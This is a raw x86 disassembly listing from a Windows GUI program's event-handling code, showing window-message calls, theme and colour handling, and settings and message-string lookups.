mov dword [0x76036c], 0x148b
mov dword [0x76036c], 0x148b
cmp eax, 0x36b1
je 0x513f53
mov dword [0x76036c], 0x14a4
mov dword [0x76036c], 0x14a4
cmp eax, 0x300
jne 0x510ce0
mov dword [0x76036c], 0x14a5
mov dword [0x760170], 1
jmp 0x510ce0
mov dword [0x76036c], 0x1487
xor eax, eax
mov dword [esp], eax
call fcn.00406770
push eax
mov dword [0x76036c], 0x1488
mov dword [esp + 8], 0x2f
mov dword [esp + 4], 0xd
xor eax, eax
mov dword [esp], eax
call fcn.00559ca7
sub esp, 0xc
mov dword [0x76036c], 0x1489
call fcn.0055bc7e
mov dword [esp], eax
call fcn.00542728
push edx
mov dword [esp + 0xc], 0xffffffff
xor ecx, ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], 0xb1
mov dword [esp], eax
call sub.USER32.dll_PostMessageW
sub esp, 0x10
mov dword [0x76036c], 0x1489
call fcn.0055bc7e
mov dword [esp], eax
call fcn.005426ed
push ebx
mov dword [0x76036c], 0x148a
xor esi, esi
mov dword [0x760170], esi
jmp 0x510ce0
mov dword [0x76036c], 0x148c
xor edi, edi
mov dword [esp], edi
call fcn.00406560
push ebp
mov dword [0x76036c], 0x148d
mov dword [esp + 4], 0xd
xor eax, eax
mov dword [esp], eax
call fcn.00559db0
push eax
push eax
mov dword [0x76036c], 0x148e
cmp dword [0x760170], 1
je 0x513fb9
mov dword [0x76036c], 0x14a2
mov dword [0x76036c], 0x14a3
xor eax, eax
mov dword [0x760170], eax
jmp 0x510ce0
mov dword [0x76036c], 0x148f
call fcn.004bd7f0
mov dword [0x76036c], 0x1490
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x15
call fcn.005441b3
push ecx
push ecx
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760200
call fcn.00572aa0
push ebx
push ebx
mov dword [0x76036c], 0x1491
mov eax, dword [0x760200]
mov dword [esp], eax
call fcn.00559056
push esi
mov ecx, eax
xor eax, eax
cmp eax, ecx
sbb eax, edx
jge 0x514161
mov dword [0x76036c], 0x1492
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov eax, dword [0x760200]
mov dword [esp], eax
call fcn.005591ad
push edi
push edi
xor ebp, ebp
mov dword [esp + 0x48], ebp
call fcn.00572950
mov dword [esp + 4], eax
lea eax, [esp + 0x48]
mov dword [esp], eax
call fcn.00572aa0
push eax
push eax
mov dword [0x76036c], 0x1493
mov dword [0x76036c], 0x1493
mov dword [esp + 4], 0x66fc08
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.005728e0
test eax, eax
jne 0x5140c1
mov dword [esp + 4], 0x66c96c
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.005728e0
test eax, eax
je 0x5141b9
mov dword [0x76036c], 0x1494
mov eax, dword [0x760200]
mov dword [esp + 4], eax
mov dword [esp], 0x19
call fcn.005677c5
push esi
push esi
mov dword [0x76036c], 0x1495
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.00572ba0
push eax
mov dword [0x76036c], 0x1499
mov dword [0x76036c], 0x149c
mov dword [0x76036c], 0x149d
call fcn.004b8dd0
mov dword [0x76036c], 0x149e
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ca890
push eax
push eax
mov dword [0x76036c], 0x149f
cmp dword [0x76008c], 0
jne 0x51425e
mov dword [0x76036c], 0x14a1
jmp 0x513f99
mov dword [0x76036c], 0x1499
mov dword [0x76036c], 0x149a
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x15
call fcn.00544292
push eax
push eax
mov dword [0x76036c], 0x149b
mov dword [esp], 0x19
call fcn.00566e43
push edx
test eax, eax
jne 0x514242
mov dword [0x76036c], 0x149b
jmp 0x514103
mov dword [esp + 4], 0x66a008
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.005728e0
test eax, eax
jne 0x5140c1
mov dword [0x76036c], 0x1495
mov dword [0x76036c], 0x1496
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x15
call fcn.00544292
push ecx
push ecx
mov dword [0x76036c], 0x1497
mov dword [esp], 0x19
call fcn.00566e43
push ebx
test eax, eax
jne 0x514229
mov dword [0x76036c], 0x1497
jmp 0x5140ec
mov dword [0x76036c], 0x1497
mov dword [esp], 0x19
call fcn.00566e55
push edx
jmp 0x51421a
mov dword [0x76036c], 0x149b
mov dword [esp], 0x19
call fcn.00566e55
push eax
jmp 0x5141aa
mov dword [0x76036c], 0x14a0
call fcn.004b1b70
jmp 0x514152
mov dword [0x76036c], 0x14a9
mov dword [esp + 0xc], 0x7603dc
xor edi, edi
mov dword [esp + 8], edi
mov dword [esp + 4], 0x15
xor ebp, ebp
mov dword [esp], ebp
call fcn.004364a0
sub esp, 0x10
test eax, eax
jne 0x5142b2
mov dword [0x76036c], 0x14b7
jmp 0x510ce0
mov dword [0x76036c], 0x14aa
call fcn.004bd7f0
mov dword [0x76036c], 0x14ab
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x15
call fcn.005441b3
push ecx
push ecx
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760200
call fcn.00572aa0
push ebx
push ebx
mov dword [0x76036c], 0x14ac
mov eax, dword [0x760200]
mov dword [esp], eax
call fcn.00559056
push esi
mov ecx, eax
xor eax, eax
cmp eax, ecx
sbb eax, edx
jge 0x5143ae
mov dword [0x76036c], 0x14ad
mov eax, dword [0x760200]
mov dword [esp + 4], eax
mov dword [esp], 0x19
call fcn.005677c5
push ebp
push ebp
mov dword [0x76036c], 0x14ae
mov dword [0x76036c], 0x14b1
mov dword [0x76036c], 0x14b2
call fcn.004b8dd0
mov dword [0x76036c], 0x14b3
xor ebx, ebx
mov dword [esp + 4], ebx
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ca890
push esi
push esi
mov dword [0x76036c], 0x14b4
cmp dword [0x76008c], 0
jne 0x51441b
mov dword [0x76036c], 0x14b6
jmp 0x5142a3
mov dword [0x76036c], 0x14ae
mov dword [0x76036c], 0x14af
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x15
call fcn.00544292
push eax
push eax
mov dword [0x76036c], 0x14b0
mov dword [esp], 0x19
call fcn.00566e43
push edx
test eax, eax
jne 0x514402
mov dword [0x76036c], 0x14b0
jmp 0x514354
mov dword [0x76036c], 0x14b0
mov dword [esp], 0x19
call fcn.00566e55
push edi
jmp 0x5143f3
mov dword [0x76036c], 0x14b5
call fcn.004b1b70
jmp 0x51439f
mov dword [0x76036c], 0x14ba
mov dword [esp], 0x8c
call fcn.00542b42
push edx
mov dword [0x76008c], eax
mov dword [0x76036c], 0x14bb
mov dword [esp], 0x19
call fcn.00566e43
push ecx
test eax, eax
jne 0x514484
mov dword [0x76036c], 0x14be
mov dword [0x76036c], 0x14bf
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x14bc
call fcn.004b8dd0
mov dword [0x76036c], 0x14bd
xor ebp, ebp
mov dword [esp + 4], ebp
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ca890
push eax
push eax
jmp 0x514466
mov dword [0x76036c], 0x14c2
mov dword [esp], 0x8c
call fcn.00542b42
push esi
mov dword [0x76008c], eax
mov dword [0x76036c], 0x14c3
mov dword [esp], 0x19
call fcn.00566e43
push edi
test eax, eax
jne 0x514509
mov dword [0x76036c], 0x14c6
mov dword [0x76036c], 0x14c7
call fcn.004b1b70
jmp 0x510ce0
mov dword [0x76036c], 0x14c4
call fcn.004b8dd0
mov dword [0x76036c], 0x14c5
xor ecx, ecx
mov dword [esp + 4], ecx
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ca890
push ebx
push ebx
jmp 0x5144eb
mov dword [0x76036c], 0x14ca
call fcn.00572920
call fcn.00572920
mov dword [esp], 0x8f
call fcn.00542b42
push edi
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp], ebx
sar ebx, 0x1f
mov dword [esp + 4], ebx
call fcn.0056f490
sub esp, 0xc
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x7601a8
call fcn.00572aa0
push ebp
push ebp
mov dword [0x76036c], 0x14cb
mov eax, dword [0x7601a8]
mov dword [0x760304], eax
mov dword [0x76036c], 0x14cc
mov dword [esp + 0xc], 0x7602e0
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0x439
mov eax, dword [0x760260]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14cd
mov dword [esp + 0xc], 0x7602e0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x411
mov eax, dword [0x760260]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14ce
mov dword [esp + 8], 0x7603dc
mov dword [esp + 4], 0x7603dc
mov eax, dword [0x760260]
mov dword [esp], eax
call sub.UxTheme.dll_SetWindowTheme
sub esp, 0xc
mov dword [0x76036c], 0x14cf
xor eax, eax
mov dword [esp + 0xc], eax
mov eax, dword [0x7601fc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x413
mov eax, dword [0x760260]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14d0
mov eax, dword [0x7601fc]
mov dword [esp], eax
call fcn.00405c70
push edx
test eax, eax
jne 0x514705
mov dword [0x76036c], 0x14d2
mov dword [0x76036c], 0x14d3
xor esi, esi
mov dword [esp + 0xc], esi
mov dword [esp + 8], esi
mov dword [esp + 4], 0x414
mov eax, dword [0x760260]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14d4
mov dword [0x76036c], 0x14d5
mov dword [esp], 0x8f
call fcn.00542b42
push edx
mov dword [0x76001c], eax
mov dword [0x76036c], 0x14d6
mov dword [esp], 0x19
call fcn.00566e43
push ecx
test eax, eax
jne 0x514744
mov dword [0x76036c], 0x14d9
jmp 0x510ce0
mov dword [0x76036c], 0x14d1
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0xffffff
mov dword [esp + 4], 0x414
mov eax, dword [0x760260]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14d2
jmp 0x5146b5
mov dword [0x76036c], 0x14d7
call fcn.004b8dd0
mov dword [0x76036c], 0x14d8
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ca890
push eax
push eax
jmp 0x5146f6
mov dword [0x76036c], 0x14dc
mov eax, dword [0x7601f4]
mov dword [esp + 4], eax
mov dword [esp], 0x7603dc
call fcn.005728e0
test eax, eax
jne 0x51495a
mov dword [0x76036c], 0x14de
mov dword [0x76036c], 0x14df
call fcn.00572920
call fcn.00572920
mov dword [esp], 0x91
call fcn.00542b42
push ebp
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp], ebx
sar ebx, 0x1f
mov dword [esp + 4], ebx
call fcn.0056f490
sub esp, 0xc
mov eax, dword [0x7601f4]
mov dword [esp], eax
call fcn.00572a40
push eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x7601a8
call fcn.00572aa0
push eax
push eax
mov dword [0x76036c], 0x14e0
mov eax, dword [0x7601a8]
mov dword [0x7601e4], eax
mov dword [0x76036c], 0x14e1
mov dword [esp + 0xc], 0x7601c0
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0x439
mov eax, dword [0x76033c]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14e2
mov dword [esp + 0xc], 0x7601c0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x411
mov eax, dword [0x76033c]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14e3
mov dword [esp + 8], 0x7603dc
mov dword [esp + 4], 0x7603dc
mov eax, dword [0x76033c]
mov dword [esp], eax
call sub.UxTheme.dll_SetWindowTheme
sub esp, 0xc
mov dword [0x76036c], 0x14e4
xor eax, eax
mov dword [esp + 0xc], eax
mov eax, dword [0x7601fc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x413
mov eax, dword [0x76033c]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14e5
mov eax, dword [0x7601fc]
mov dword [esp], eax
call fcn.00405c70
push edx
test eax, eax
jne 0x5149ee
mov dword [0x76036c], 0x14e7
mov dword [0x76036c], 0x14e8
xor edi, edi
mov dword [esp + 0xc], edi
mov dword [esp + 8], edi
mov dword [esp + 4], 0x414
mov eax, dword [0x76033c]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14e9
mov dword [0x76036c], 0x14ea
mov dword [esp], 0x91
call fcn.00542b42
push ebx
mov dword [0x75ffd0], eax
jmp 0x510ce0
mov dword [0x76036c], 0x14dd
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.SETTINGS
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ecx
push ecx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x676a20
call fcn.0056fd80
push esi
push esi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ebp
push ebp
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x7601f4
call fcn.00572aa0
push eax
push eax
jmp 0x51479b
mov dword [0x76036c], 0x14e6
xor esi, esi
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0xffffff
mov dword [esp + 4], 0x414
mov eax, dword [0x76033c]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x14e7
jmp 0x51492f
mov dword [0x76036c], 0x14f6
call fcn.0055bd35
mov dword [0x76036c], 0x14f7
mov dword [0x76036c], 0x14f7
cmp eax, 0x10001
je 0x514aca
mov dword [0x76036c], 0x150d
mov dword [0x76036c], 0x150d
test eax, eax
je 0x514edf
mov dword [0x76036c], 0x1536
mov dword [0x76036c], 0x1536
cmp eax, 0x10002
jne 0x510ce0
mov dword [0x76036c], 0x1537
call fcn.0055bc7e
mov dword [esp], eax
call fcn.00543f1f
push edx
mov dword [esp], eax
call fcn.0055ddd1
push ecx
test eax, eax
jne 0x515600
mov dword [0x76036c], 0x1545
jmp 0x510ce0
mov dword [0x76036c], 0x14f8
call fcn.0055bc7e
mov dword [esp], eax
call fcn.00543f1f
push edx
mov dword [esp], eax
call fcn.0055ddd1
push ecx
test eax, eax
jne 0x514afe
mov dword [0x76036c], 0x150b
jmp 0x510ce0
mov dword [0x76036c], 0x14f9
mov dword [0x76036c], 0x14f9
mov dword [0x76036c], 0x14f9
mov dword [0x76036c], 0x14f9
mov dword [0x76015c], 0xff9933
mov dword [0x76036c], 0x14fa
mov dword [esp], 0xff9933
call fcn.0055dc8f
push esi
mov dword [esp + 0x28], eax
mov eax, dword [0x7601fc]
mov dword [esp], eax
call fcn.0055dc8f
push edi
fild dword [esp + 0x28]
fmul qword [0x60d1a0]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
fmul qword [0x60d1a8]
faddp st(1)
fstp qword [esp + 0x40]
fld qword [esp + 0x40]
fistp qword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov dword [0x76026c], eax
mov dword [0x76036c], 0x14fb
mov eax, dword [0x76015c]
mov dword [esp], eax
call fcn.0055dc99
push ebp
mov dword [esp + 0x28], eax
mov eax, dword [0x7601fc]
mov dword [esp], eax
call fcn.0055dc99
push edx
fild dword [esp + 0x28]
fmul qword [0x60d1a0]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
fmul qword [0x60d1a8]
faddp st(1)
fstp qword [esp + 0x40]
fld qword [esp + 0x40]
fistp qword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov dword [0x760278], eax
mov dword [0x76036c], 0x14fc
mov eax, dword [0x76015c]
mov dword [esp], eax
call fcn.0055dca8
push ecx
mov dword [esp + 0x28], eax
mov eax, dword [0x7601fc]
mov dword [esp], eax
call fcn.0055dca8
push ebx
fild dword [esp + 0x28]
fmul qword [0x60d1a0]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
fmul qword [0x60d1a8]
faddp st(1)
fstp qword [esp + 0x40]
fld qword [esp + 0x40]
fistp qword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov dword [0x760284], eax
mov dword [0x76036c], 0x14fd
mov dword [esp + 8], eax
mov eax, dword [0x760278]
mov dword [esp + 4], eax
mov eax, dword [0x76026c]
mov dword [esp], eax
call fcn.0055dcb7
sub esp, 0xc
mov esi, eax
call fcn.0055dcdc
mov ebx, eax
call fcn.0055dce8
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
xor esi, esi
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.0055df7c
sub esp, 0x1c
mov dword [0x76036c], 0x14fe
mov dword [esp], 4
call fcn.0055dccc
push edi
mov dword [0x76036c], 0x14fe
mov dword [esp], 0xd
call sub.USER32.dll_GetSysColor
push ebp
mov esi, eax
call fcn.0055dcdc
mov ebx, eax
call fcn.0055dce8
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.0055df7c
sub esp, 0x1c
mov dword [0x76036c], 0x14ff
mov dword [esp], 0x10
call fcn.0055dccc
push eax
mov dword [0x76036c], 0x1500
call fcn.0055bc7e
mov dword [0x76036c], 0x1501
mov dword [0x76036c], 0x1501
cmp eax, 0x27
je 0x514e55
mov dword [0x76036c], 0x1502
mov dword [0x76036c], 0x1502
cmp eax, 0x28
je 0x514e68
mov dword [0x76036c], 0x1503
mov dword [0x76036c], 0x1503
cmp eax, 0x2b
je 0x514e7b
mov dword [0x76036c], 0x1504
mov dword [0x76036c], 0x1504
cmp eax, 0x2c
je 0x514e8e
mov dword [0x76036c], 0x1505
mov dword [0x76036c], 0x1505
cmp eax, 0x29
je 0x514ea4
mov dword [0x76036c], 0x1506
mov dword [0x76036c], 0x1506
cmp eax, 0x2a
je 0x514eba
mov dword [0x76036c], 0x1507
mov dword [0x76036c], 0x1507
cmp eax, 0x2d
je 0x514ed0
mov dword [0x76036c], 0x1508
mov dword [0x76036c], 0x1508
cmp eax, 0x2e
jne 0x514e41
mov dword [0x76036c], 0x1508
mov dword [esp], 4
call fcn.00566d16
push ebx
mov dword [esp + 8], 4
mov dword [esp + 4], 4
mov dword [esp], eax
call fcn.0055de36
sub esp, 0xc
mov dword [0x76036c], 0x150a
call fcn.0055dea5
jmp 0x514aef
mov dword [0x76036c], 0x1501
mov dword [esp], 1
jmp 0x514e20
mov dword [0x76036c], 0x1502
mov dword [esp], 1
jmp 0x514e20
mov dword [0x76036c], 0x1503
mov dword [esp], 3
jmp 0x514e20
mov dword [0x76036c], 0x1504
mov dword [esp], 3
jmp 0x514e20
mov dword [0x76036c], 0x1505
mov dword [esp], 2
jmp 0x514e20
mov dword [0x76036c], 0x1506
mov dword [esp], 2
jmp 0x514e20
mov dword [0x76036c], 0x1507
jmp 0x514e19
mov dword [0x76036c], 0x150f
call fcn.0055bc7e
mov dword [0x76036c], 0x1510
mov dword [0x76036c], 0x1510
lea edx, [eax - 0x27]
cmp edx, 1
jbe 0x5150b8
mov dword [0x76036c], 0x151b
mov dword [0x76036c], 0x151b
lea edx, [eax - 0x2b]
cmp edx, 1
jbe 0x5152ce
mov dword [0x76036c], 0x151d
mov dword [0x76036c], 0x151d
lea edx, [eax - 0x29]
cmp edx, 1
jbe 0x5152f6
mov dword [0x76036c], 0x1528
mov dword [0x76036c], 0x1528
sub eax, 0x2d
cmp eax, 1
ja 0x510ce0
mov dword [0x76036c], 0x1529
cmp dword [0x760050], 0
je 0x51550e
mov dword [0x76036c], 0x1531
mov dword [0x76036c], 0x1532
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ecx
push ecx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push esi
push esi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ebp
push ebp
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x1533
jmp 0x510ce0
mov dword [0x76036c], 0x1511
cmp dword [0x760050], 0
je 0x515202
mov dword [0x76036c], 0x1518
mov dword [0x76036c], 0x1519
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x151a
jmp 0x510ce0
mov dword [0x76036c], 0x1512
xor edi, edi
mov dword [0x7602bc], edi
mov dword [0x76036c], 0x1513
xor ebp, ebp
mov dword [esp + 8], ebp
mov dword [esp + 4], ebp
mov dword [esp], 0x67bb60
call fcn.0041f230
sub esp, 0xc
mov dword [0x76036c], 0x1514
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cdf20
push eax
push eax
mov dword [0x76036c], 0x1515
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
push eax
mov dword [0x76036c], 0x1516
cmp dword [0x76007c], 0
je 0x5152a9
mov dword [0x76036c], 0x1516
mov dword [0x76036c], 0x1517
call fcn.004b1b70
mov dword [0x76036c], 0x1518
jmp 0x5151f3
mov dword [0x76036c], 0x1516
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1516
call fcn.0042a0e0
jmp 0x515281
mov dword [0x76036c], 0x151c
xor esi, esi
mov dword [esp + 8], esi
mov dword [esp + 4], esi
mov dword [esp], 0x66ed14
call fcn.0041f230
sub esp, 0xc
jmp 0x510ce0
mov dword [0x76036c], 0x151e
mov eax, dword [0x7603bc]
mov dword [esp], eax
call fcn.00568180
push ebx
test eax, eax
je 0x51545b
mov dword [0x76036c], 0x151f
cmp dword [0x760050], 0
je 0x51546a
mov dword [0x76036c], 0x1524
mov dword [0x76036c], 0x1525
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x1526
mov dword [0x76036c], 0x1527
jmp 0x510ce0
mov dword [0x76036c], 0x1520
mov dword [esp + 4], 1
mov dword [esp], 0x26
call fcn.00459900
push edi
push edi
mov dword [0x76036c], 0x1521
xor ebp, ebp
mov dword [esp], ebp
call fcn.004c3560
push eax
mov dword [0x76036c], 0x1522
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x26
call fcn.00459900
push eax
push eax
mov dword [0x76036c], 0x1523
cmp dword [0x76007c], 0
je 0x5154e9
mov dword [0x76036c], 0x1523
mov dword [0x76036c], 0x1524
jmp 0x515451
mov dword [0x76036c], 0x1523
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1523
call fcn.0042a0e0
jmp 0x5154d0
mov dword [0x76036c], 0x152a
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov dword [esp], 0x671478
call fcn.0041f230
sub esp, 0xc
mov dword [0x76036c], 0x152b
mov eax, dword [0x7603bc]
mov dword [esp], eax
call fcn.00568180
push edx
test eax, eax
jne 0x515566
mov dword [0x76036c], 0x1530
mov dword [0x76036c], 0x1531
jmp 0x5150a9
mov dword [0x76036c], 0x152c
mov dword [esp + 4], 1
mov dword [esp], 0x26
call fcn.00459900
push ebx
push ebx
mov dword [0x76036c], 0x152d
xor esi, esi
mov dword [esp], esi
call fcn.004c3560
push edi
mov dword [0x76036c], 0x152e
xor ebp, ebp
mov dword [esp + 4], ebp
mov dword [esp], 0x26
call fcn.00459900
push eax
push eax
mov dword [0x76036c], 0x152f
cmp dword [0x76007c], 0
je 0x5155db
mov dword [0x76036c], 0x152f
jmp 0x51554d
mov dword [0x76036c], 0x152f
mov dword [0x76007c], 1
mov dword [0x76036c], 0x152f
call fcn.0042a0e0
jmp 0x5155cc
mov dword [0x76036c], 0x1538
call fcn.0055dcdc
mov ebx, eax
call fcn.0055dce8
mov edx, dword [0x7601fc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.0055dcf4
sub esp, 0x14
mov dword [0x76036c], 0x1539
mov dword [esp], 0x10
call fcn.0055dccc
push eax
mov dword [0x76036c], 0x153a
call fcn.0055bc7e
mov dword [0x76036c], 0x153b
mov dword [0x76036c], 0x153b
cmp eax, 0x27
je 0x515789
mov dword [0x76036c], 0x153c
mov dword [0x76036c], 0x153c
cmp eax, 0x28
je 0x51579c
mov dword [0x76036c], 0x153d
mov dword [0x76036c], 0x153d
cmp eax, 0x2b
je 0x5157af
mov dword [0x76036c], 0x153e
mov dword [0x76036c], 0x153e
cmp eax, 0x2c
je 0x5157c2
mov dword [0x76036c], 0x153f
mov dword [0x76036c], 0x153f
cmp eax, 0x29
je 0x5157d8
mov dword [0x76036c], 0x1540
mov dword [0x76036c], 0x1540
cmp eax, 0x2a
je 0x5157ee
mov dword [0x76036c], 0x1541
mov dword [0x76036c], 0x1541
cmp eax, 0x2d
je 0x515804
mov dword [0x76036c], 0x1542
mov dword [0x76036c], 0x1542
cmp eax, 0x2e
